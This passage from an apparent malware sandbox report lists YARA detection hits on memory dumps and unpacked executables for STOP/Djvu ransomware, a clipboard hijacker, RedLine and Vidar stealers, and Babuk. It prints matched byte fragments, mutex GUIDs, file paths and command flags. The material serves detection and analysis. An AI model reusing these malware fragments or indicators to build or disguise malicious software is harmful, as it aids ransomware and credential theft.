0000001F.00000002.3632649195.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000014.00000002.4109405037.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000014.00000002.4109405037.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000014.00000002.4109405037.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000006.00000002.4109482027.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000006.00000002.4109482027.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000006.00000002.4109482027.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000001D.00000002.3012410166.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
0000001D.00000002.3012410166.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
0000001D.00000002.3012410166.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000011.00000002.1944478806.0000000000970000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000011.00000002.1944478806.0000000000970000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000011.00000002.1944478806.0000000000970000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0000000C.00000002.1843540923.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0000000C.00000002.1843540923.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0000000C.00000002.1843540923.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
0000000B.00000002.1828065109.000000000443F000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000008.00000002.1874465516.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
00000009.00000002.1854274839.0000000000890000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000009.00000002.1854274839.0000000000890000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000009.00000002.1854274839.0000000000890000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000019.00000002.2401403681.0000000000930000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
00000019.00000002.2401403681.0000000000930000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x27a3:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
00000019.00000002.2401403681.0000000000930000.00000040.00001000.00020000.00000000.sdmp	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x249a:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x2527:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x2527:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x284d:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x28d5:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000004.00000002.2219331749.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
00000003.00000002.1672723761.000000000451F000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
0000001C.00000002.3013504826.0000000000970000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x7034:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000000.00000002.1653714347.0000000005DD0000.00000040.00001000.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105ac8:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xe38f:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000005.00000002.1692412044.00000000043FE000.00000040.00000020.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_ed346e4c	unknown	unknown	0x798:$a: 55 8B EC 8B 45 14 56 57 8B 7D 08 33 F6 89 47 0C 39 75 10 76 15 8B
00000018.00000002.2105901221.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
00000018.00000002.2105901221.0000000000400000.00000040.00000400.00020000.00000000.sdmp	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
00000018.00000002.2105901221.0000000000400000.00000040.00000400.00020000.00000000.sdmp	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Process Memory Space: AaIo4VGgvO.exe PID: 7328	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: AaIo4VGgvO.exe PID: 7328	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4f358:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: AaIo4VGgvO.exe PID: 7344	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: AaIo4VGgvO.exe PID: 7344	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x545c6:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: AaIo4VGgvO.exe PID: 7444	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: AaIo4VGgvO.exe PID: 7444	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x39be1:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: AaIo4VGgvO.exe PID: 7460	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: AaIo4VGgvO.exe PID: 7460	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: AaIo4VGgvO.exe PID: 7460	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x1078f7e:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: AaIo4VGgvO.exe PID: 7520	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: AaIo4VGgvO.exe PID: 7520	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x325ec:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: AaIo4VGgvO.exe PID: 7540	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: AaIo4VGgvO.exe PID: 7540	JoeSecurity_babuk	Yara detected Babuk Ransomware	Joe Security
Process Memory Space: AaIo4VGgvO.exe PID: 7540	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x4bdf4:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: build2.exe PID: 7624	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: build2.exe PID: 7644	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: build2.exe PID: 7644	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: build2.exe PID: 7644	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: AaIo4VGgvO.exe PID: 7772	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: AaIo4VGgvO.exe PID: 7772	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x3105c:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: AaIo4VGgvO.exe PID: 7848	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: AaIo4VGgvO.exe PID: 7848	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x434ec:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: AaIo4VGgvO.exe PID: 7372	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: AaIo4VGgvO.exe PID: 7372	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x47b30:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Process Memory Space: AaIo4VGgvO.exe PID: 7380	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
Process Memory Space: AaIo4VGgvO.exe PID: 7380	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x53da0:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb
Click to see the 89 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
30.2.mstsca.exe.8215a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
30.2.mstsca.exe.8215a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
26.2.mstsca.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
26.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
26.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
30.2.mstsca.exe.8215a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
30.2.mstsca.exe.8215a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
30.2.mstsca.exe.8215a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
14.2.build3.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
14.2.build3.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
14.2.build3.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
9.2.build3.exe.8915a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
